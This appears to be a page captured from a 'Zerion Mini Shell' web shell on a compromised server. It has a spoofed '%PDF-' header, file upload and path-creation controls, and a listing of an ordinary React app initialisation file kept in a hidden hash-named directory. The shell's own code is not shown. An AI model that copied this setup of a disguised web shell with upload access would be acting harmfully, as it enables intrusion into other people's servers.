%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/init/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/init/index.js

import appEnvs from "config/appEnvs";
import appConfig from "config/countryData";

import {
  setEnvConstant,
  setDualEnv,
} from "actions/list_actions";
import { getUser } from "actions/api_actions"; // eslint-disable-line import/no-cycle
import { initLanguage } from "actions/languageActions";

import {
  isDomEnabled,
} from "utils";
import { getUniversalCookies, cookies } from "utils/cookies";
import getCountry from "utils/getCountry";

const ReactGA = isDomEnabled ? require("react-ga") : null;

function isDual(store) {
  const isDualAccount = {};
  const sessionKey = getUniversalCookies().get("session_key");
  if (sessionKey) {
    const cookieDual = sessionKey;
    isDualAccount.isDual = cookieDual.isDual === true;
    isDualAccount.userFullName = cookieDual.fullName;
    isDualAccount.userEmail = cookieDual.email;
    store.dispatch(setDualEnv(isDualAccount));
  }
}

function futuresConfig() {
  return {
    totalTimeSaved: true,
    totalMoneySaved: false,
    businessHeaderLink: true,
    footerCountryLinks: true,
    showBetaBadge: true,
    optimizedVideo: true,
    parkingPlanV2: true,
    homePageV1: false,
    homePageV2: false,
    homePageV3: true,
  };
}

function envConstant(store, hostname = null) {
  isDual(store);

  const countryCode = getCountry();
  const envs = appEnvs;

  store.dispatch(initLanguage(countryCode));

  // eslint-disable-next-line func-names
  const getEnv = function (fallbackEnv) {
    const hostName = isDomEnabled ? window.location.hostname : hostname;
    for (const key in envs) {
      if (Object.prototype.hasOwnProperty.call(envs, key)) {
        if (envs[key].indexOf(hostName) > -1) return key;
      }
    }
    return fallbackEnv;
  };

  const env = getEnv("production");
  const performanceCookie = document.cookie
    .split("; ")
    .find((c) => c.startsWith("userConsent") && c.includes("performance"))
    || "={}";
  const isPerformanceAllowed = JSON.parse(
    decodeURIComponent(performanceCookie.split("=").pop()),
  ).performance;
  // Dont know if i need this yet
  /* if (mixpanel && isPerformanceAllowed) {
    const config = configFunc();
    mixpanel.init(config.mixpanel_token, {
      api_host: "https://api-eu.mixpanel.com",
    });
  } */
  if (!isPerformanceAllowed) {
    setTimeout(() => {
      Object.entries(cookies.getAll())
        .filter(
          ([cName]) => cName.endsWith("mixpanel"),
        )
        .forEach(([cName, c]) => {
          cookies.removeCookie(cName, {
            path: c.path,
            domain: c.domain,
          });
          cookies.removeCookie(cName, {
            path: "/",
            domain: c.domain,
          });
        });
    }, 5000);
  }

  const { gaId } = appConfig.countryData[countryCode] || {};
  if (ReactGA && gaId) {
    ReactGA.initialize(gaId);
  }

  const action = setEnvConstant({
    countryFormDomainConfig: env === "staging" ? "config" : "domain",
    countryConstant: countryCode,
    envConstant: env,
    currentYear: new Date().getFullYear(),
    futuresConfig: futuresConfig(),
    appConfig: appConfig.countryData[countryCode],
    gaEnabled: env === "production" ? !!gaId : false,
  });

  store.dispatch(action);
}

export default function init(store) {
  envConstant(store);

  store.dispatch(getUser());
}

Zerion Mini Shell 1.0